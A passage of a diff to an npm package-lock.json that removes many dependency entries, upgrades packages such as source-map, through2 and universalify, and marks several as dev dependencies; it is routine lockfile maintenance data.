-      }
-    },
     "require-directory": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
@@ -9768,20 +7547,6 @@
       "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
       "dev": true
     },
-    "require-main-filename": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
-      "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
-      "dev": true
-    },
-    "require-object-coercible-x": {
-      "version": "1.4.3",
-      "resolved": "https://registry.npmjs.org/require-object-coercible-x/-/require-object-coercible-x-1.4.3.tgz",
-      "integrity": "sha512-5wEaS+NIiU5HLJQTqBQ+6XHtX7yplUS374j/H/nRDlc7rMWfENqp026jnUHWAOCZ+ekixkXuFHEnTF28oqqVLA==",
-      "requires": {
-        "is-nil-x": "^1.4.2"
-      }
-    },
     "requireindex": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/requireindex/-/requireindex-1.2.0.tgz",
@@ -9884,22 +7649,6 @@
       "dev": true,
       "requires": {
         "glob": "^7.1.3"
-      },
-      "dependencies": {
-        "glob": {
-          "version": "7.2.0",
-          "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz",
-          "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==",
-          "dev": true,
-          "requires": {
-            "fs.realpath": "^1.0.0",
-            "inflight": "^1.0.4",
-            "inherits": "2",
-            "minimatch": "^3.0.4",
-            "once": "^1.3.0",
-            "path-is-absolute": "^1.0.0"
-          }
-        }
       }
     },
     "rollup": {
@@ -9940,7 +7689,8 @@
     "safe-buffer": {
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
-      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "dev": true
     },
     "safe-stable-stringify": {
       "version": "1.1.1",
@@ -9951,7 +7701,8 @@
     "safer-buffer": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
-      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+      "dev": true
     },
     "sax": {
       "version": "1.2.4",
@@ -9969,11 +7720,6 @@
         "sax": "~1"
       }
     },
-    "scope-eval": {
-      "version": "0.0.3",
-      "resolved": "https://registry.npmjs.org/scope-eval/-/scope-eval-0.0.3.tgz",
-      "integrity": "sha1-Fm8szR83VEKd7FEYBVAfnWkjtew="
-    },
     "semver": {
       "version": "7.3.5",
       "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
@@ -9989,12 +7735,6 @@
       "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=",
       "dev": true
     },
-    "set-blocking": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
-      "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=",
-      "dev": true
-    },
     "setprototypeof": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
@@ -10064,12 +7804,6 @@
         }
       }
     },
-    "sinon-chai": {
-      "version": "3.7.0",
-      "resolved": "https://registry.npmjs.org/sinon-chai/-/sinon-chai-3.7.0.tgz",
-      "integrity": "sha512-mf5NURdUaSdnatJx3uhoBOrY9dtL19fiOtAdT1Azxg3+lNJFiuN0uzaU3xX1LeAfL17kHQhTAJgpsfhbMJMY2g==",
-      "dev": true
-    },
     "slash": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
@@ -10088,12 +7822,10 @@
       }
     },
     "source-map": {
-      "version": "0.4.4",
-      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz",
-      "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=",
-      "requires": {
-        "amdefine": ">=0.0.4"
-      }
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "dev": true
     },
     "source-map-support": {
       "version": "0.5.20",
@@ -10103,26 +7835,13 @@
       "requires": {
         "buffer-from": "^1.0.0",
         "source-map": "^0.6.0"
-      },
-      "dependencies": {
-        "buffer-from": {
-          "version": "1.1.2",
-          "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
-          "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
-          "dev": true
-        },
-        "source-map": {
-          "version": "0.6.1",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
-          "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
-          "dev": true
-        }
       }
     },
     "spark-md5": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz",
-      "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc="
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
+      "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==",
+      "dev": true
     },
     "sparqlalgebrajs": {
       "version": "3.0.3",
@@ -10158,14 +7877,6 @@
         "spark-md5": "^3.0.1",
         "sparqlalgebrajs": "^3.0.2",
         "uuid": "^8.0.0"
-      },
-      "dependencies": {
-        "spark-md5": {
-          "version": "3.0.2",
-          "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
-          "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==",
-          "dev": true
-        }
       }
     },
     "sparqljs": {
@@ -10257,43 +7968,15 @@
       "version": "3.0.10",
       "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz",
       "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==",
-      "dev": true
-    },
-    "split2": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/split2/-/split2-3.2.2.tgz",
-      "integrity": "sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==",
-      "dev": true,
-      "requires": {
-        "readable-stream": "^3.0.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
+      "dev": true
+    },
+    "split2": {
+      "version": "3.2.2",
+      "resolved": "https://registry.npmjs.org/split2/-/split2-3.2.2.tgz",
+      "integrity": "sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==",
+      "dev": true,
+      "requires": {
+        "readable-stream": "^3.0.0"
       }
     },
     "sprintf-js": {
@@ -10390,9 +8073,13 @@
       }
     },
     "string_decoder": {
-      "version": "0.10.31",
-      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
-      "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ="
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "dev": true,
+      "requires": {
+        "safe-buffer": "~5.2.0"
+      }
     },
     "stringify-object": {
       "version": "3.3.0",
@@ -10528,6 +8215,17 @@
         "mkdirp": "^0.5.1",
         "pump": "^3.0.0",
         "tar-stream": "^2.0.0"
+      },
+      "dependencies": {
+        "mkdirp": {
+          "version": "0.5.5",
+          "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+          "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+          "dev": true,
+          "requires": {
+            "minimist": "^1.2.5"
+          }
+        }
       }
     },
     "tar-stream": {
@@ -10541,34 +8239,6 @@
         "fs-constants": "^1.0.0",
         "inherits": "^2.0.3",
         "readable-stream": "^3.1.1"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
       }
     },
     "text-extensions": {
@@ -10592,84 +8262,16 @@
     "through": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
-      "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU="
+      "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=",
+      "dev": true
     },
     "through2": {
-      "version": "0.6.5",
-      "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz",
-      "integrity": "sha1-QaucZ7KdVyCQcUEOHXp6lozTrUg=",
-      "requires": {
-        "readable-stream": ">=1.0.33-1 <1.1.0-0",
-        "xtend": ">=4.0.0 <4.1.0-0"
-      }
-    },
-    "to-boolean-x": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/to-boolean-x/-/to-boolean-x-1.0.3.tgz",
-      "integrity": "sha512-kQiMyJUgFprL8J+0CfgJuaSFKJMs3EvFe27/6aj/hVzVZT0HY4aA1QjPldLNxzBmjhLcapp7CctYHuD8QqtS3g=="
-    },
-    "to-integer-x": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/to-integer-x/-/to-integer-x-3.0.0.tgz",
-      "integrity": "sha512-794L2Lpwjtynm7RxahJi2YdbRY75gTxUW27TMuN26UgwPkmJb/+HPhkFEFbz+E4vNoiP0dxq5tq5fkXoXLaK/w==",
-      "requires": {
-        "is-finite-x": "^3.0.2",
-        "is-nan-x": "^1.0.1",
-        "math-sign-x": "^3.0.0",
-        "to-number-x": "^2.0.0"
-      }
-    },
-    "to-number-x": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/to-number-x/-/to-number-x-2.0.0.tgz",
-      "integrity": "sha512-lGOnCoccUoSzjZ/9Uen8TC4+VFaQcFGhTroWTv2tYWxXgyJV1zqAZ8hEIMkez/Eo790fBMOjidTnQ/OJSCvAoQ==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "nan-x": "^1.0.0",
-        "parse-int-x": "^2.0.0",
-        "to-primitive-x": "^1.1.0",
-        "trim-x": "^3.0.0"
-      }
-    },
-    "to-object-x": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/to-object-x/-/to-object-x-1.5.0.tgz",
-      "integrity": "sha512-AKn5GQcdWky+s20vjWkt+Wa6y3dxQH3yQyMBhOfBOPldUwqwhgvlqcIg5H092ntNc+TX8/Cxzs1kMHH19pyCnA==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "require-object-coercible-x": "^1.4.1"
-      }
-    },
-    "to-primitive-x": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/to-primitive-x/-/to-primitive-x-1.1.0.tgz",
-      "integrity": "sha512-gyMY0gi3wjK3e4MUBKqv9Zl8QGcWguIkaUr2VJmoBEsOpDcpDZSEyljR773eVG4maS48uX7muLkoQoh/BA82OQ==",
-      "requires": {
-        "has-symbol-support-x": "^1.4.1",
-        "is-date-object": "^1.0.1",
-        "is-function-x": "^3.2.0",
-        "is-nil-x": "^1.4.1",
-        "is-primitive": "^2.0.0",
-        "is-symbol": "^1.0.1",
-        "require-object-coercible-x": "^1.4.1",
-        "validate.io-undefined": "^1.0.3"
-      },
-      "dependencies": {
-        "is-primitive": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
-          "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU="
-        }
-      }
-    },
-    "to-property-key-x": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/to-property-key-x/-/to-property-key-x-2.0.2.tgz",
-      "integrity": "sha512-YISLpZFYIazNm0P8hLsKEEUEZ3m8U3+eDysJZqTu3+B9tQp+2TrMpaEGT8Agh4fZ5LSoums60/glNEzk5ozqrg==",
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz",
+      "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==",
+      "dev": true,
       "requires": {
-        "has-symbol-support-x": "^1.4.1",
-        "to-primitive-x": "^1.1.0",
-        "to-string-x": "^1.4.2"
+        "readable-stream": "3"
       }
     },
     "to-regex-range": {
@@ -10681,50 +8283,12 @@
         "is-number": "^7.0.0"
       }
     },
-    "to-string-symbols-supported-x": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/to-string-symbols-supported-x/-/to-string-symbols-supported-x-1.0.2.tgz",
-      "integrity": "sha512-3MRqhIhSNVDsVAk4M6WNcuBZrAQe54W13xrXX6RzxXS+pA4nj6DQ96RegQS5z9BSNyYbFsBsPvMVDIpP+a/5RA==",
-      "requires": {
-        "cached-constructors-x": "^1.0.2",
-        "has-symbol-support-x": "^1.4.2",
-        "is-symbol": "^1.0.1"
-      }
-    },
-    "to-string-tag-x": {
-      "version": "1.4.3",
-      "resolved": "https://registry.npmjs.org/to-string-tag-x/-/to-string-tag-x-1.4.3.tgz",
-      "integrity": "sha512-5+0EZ6dOVt/XArXmkooxPzWxmOR081HM/uXitUow7h11WYg5pPo15uYqDWuqO7ZY+O3Atn/dG26wcJCK+mFevg==",
-      "requires": {
-        "lodash.isnull": "^3.0.0",
-        "validate.io-undefined": "^1.0.3"
-      }
-    },
-    "to-string-x": {
-      "version": "1.4.5",
-      "resolved": "https://registry.npmjs.org/to-string-x/-/to-string-x-1.4.5.tgz",
-      "integrity": "sha512-5xzlZDyDa9BUWNjNzZzHgKQ95PnV7qjvEhbqpFaj1ixaHgfJXOFaa3xdMJ+WLYd4hhaMJaxt8Pt5uKaWXfruXA==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "is-symbol": "^1.0.1"
-      }
-    },
     "toidentifier": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
       "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==",
       "dev": true
     },
-    "tough-cookie": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz",
-      "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==",
-      "requires": {
-        "psl": "^1.1.33",
-        "punycode": "^2.1.1",
-        "universalify": "^0.1.2"
-      }
-    },
     "tr46": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
@@ -10734,41 +8298,12 @@
         "punycode": "^2.1.1"
       }
     },
-    "trim-left-x": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/trim-left-x/-/trim-left-x-3.0.0.tgz",
-      "integrity": "sha512-+m6cqkppI+CxQBTwWEZliOHpOBnCArGyMnS1WCLb6IRgukhTkiQu/TNEN5Lj2eM9jk8ewJsc7WxFZfmwNpRXWQ==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "require-coercible-to-string-x": "^1.0.0",
-        "white-space-x": "^3.0.0"
-      }
-    },
     "trim-newlines": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz",
       "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==",
       "dev": true
     },
-    "trim-right-x": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/trim-right-x/-/trim-right-x-3.0.0.tgz",
-      "integrity": "sha512-iIqEsWEbWVodqdixJHi4FoayJkUxhoL4AvSNGp4FF4FfQKRPGizt8++/RnyC9od75y7P/S6EfONoVqP+NddiKA==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "require-coercible-to-string-x": "^1.0.0",
-        "white-space-x": "^3.0.0"
-      }
-    },
-    "trim-x": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/trim-x/-/trim-x-3.0.0.tgz",
-      "integrity": "sha512-w8s38RAUScQ6t3XqMkS75iz5ZkIYLQpVnv2lp3IuTS36JdlVzC54oe6okOf4Wz3UH4rr3XAb2xR3kR5Xei82fw==",
-      "requires": {
-        "trim-left-x": "^3.0.0",
-        "trim-right-x": "^3.0.0"
-      }
-    },
     "triple-beam": {
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.3.0.tgz",
@@ -10908,15 +8443,11 @@
         "through": "^2.3.8"
       }
     },
-    "uniq": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz",
-      "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8="
-    },
     "universalify": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
-      "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+      "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+      "dev": true
     },
     "unpipe": {
       "version": "1.0.0",
@@ -10924,44 +8455,6 @@
       "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=",
       "dev": true
     },
-    "unreachable-branch-transform": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/unreachable-branch-transform/-/unreachable-branch-transform-0.3.0.tgz",
-      "integrity": "sha1-2ZzExudG0mSSiEW2EdtUsPNHTKo=",
-      "requires": {
-        "esmangle-evaluator": "^1.0.0",
-        "recast": "^0.10.1",
-        "through2": "^0.6.2"
-      },
-      "dependencies": {
-        "ast-types": {
-          "version": "0.8.15",
-          "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.8.15.tgz",
-          "integrity": "sha1-ju8IJ/BN/w7IhXupJavj/qYZTlI="
-        },
-        "esprima-fb": {
-          "version": "15001.1001.0-dev-harmony-fb",
-          "resolved": "https://registry.npmjs.org/esprima-fb/-/esprima-fb-15001.1001.0-dev-harmony-fb.tgz",
-          "integrity": "sha1-Q761fsJujPI3092LM+QlM1d/Jlk="
-        },
-        "recast": {
-          "version": "0.10.43",
-          "resolved": "https://registry.npmjs.org/recast/-/recast-0.10.43.tgz",
-          "integrity": "sha1-uV1Q9tYHYaX2JS4V2AZ4FoSRzn8=",
-          "requires": {
-            "ast-types": "0.8.15",
-            "esprima-fb": "~15001.1001.0-dev-harmony-fb",
-            "private": "~0.1.5",
-            "source-map": "~0.5.0"
-          }
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
     "uri-js": {
       "version": "4.4.1",
       "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
@@ -10980,7 +8473,8 @@
     "util-deprecate": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
-      "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
+      "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=",
+      "dev": true
     },
     "uuid": {
       "version": "8.3.2",
@@ -11023,11 +8517,6 @@
         "spdx-expression-parse": "^3.0.0"
       }
     },
-    "validate.io-undefined": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/validate.io-undefined/-/validate.io-undefined-1.0.3.tgz",
-      "integrity": "sha1-fif8uzFbhB54JDQxiXZxkp4gt/Q="
-    },
     "vary": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
@@ -11084,11 +8573,6 @@
       "integrity": "sha512-obtSWTlbJ+a+TFRYGaUumtVwb+InIUVI0Lu0VBUAPmj2cU5JutEXg3xUE0c2J5Tcy7h2DEKVJBFi+Y9ZSFzzPQ==",
       "dev": true
     },
-    "vuvuzela": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/vuvuzela/-/vuvuzela-1.0.3.tgz",
-      "integrity": "sha1-O+FF5YJxxzylUnndhR8SpoIRSws="
-    },
     "web-streams-node": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/web-streams-node/-/web-streams-node-0.4.0.tgz",
@@ -11152,59 +8636,6 @@
         "is-symbol": "^1.0.3"
       }
     },
-    "which-module": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz",
-      "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=",
-      "dev": true
-    },
-    "white-space-x": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/white-space-x/-/white-space-x-3.0.1.tgz",
-      "integrity": "sha512-BwMFXQNPna/4RsNPOgldVYn+FkEv+lc3wUiFzuaW6Z2DH/oSk1UrRD6SBqDgWQO4JU+aBq3PVuPD9Vz0j7mh0w=="
-    },
-    "wide-align": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz",
-      "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==",
-      "dev": true,
-      "requires": {
-        "string-width": "^1.0.2 || 2"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
-          "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
-          "dev": true
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
-          "dev": true
-        },
-        "string-width": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
-          "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
-          "dev": true,
-          "requires": {
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^4.0.0"
-          }
-        },
-        "strip-ansi": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
-          "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
-          "dev": true,
-          "requires": {
-            "ansi-regex": "^3.0.0"
-          }
-        }
-      }
-    },
     "winston": {
       "version": "3.3.3",
       "resolved": "https://registry.npmjs.org/winston/-/winston-3.3.3.tgz",
@@ -11220,34 +8651,6 @@
         "stack-trace": "0.0.x",
         "triple-beam": "^1.3.0",
         "winston-transport": "^4.4.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
       }
     },
     "winston-transport": {
@@ -11260,18 +8663,6 @@
         "triple-beam": "^1.2.0"
       },
       "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
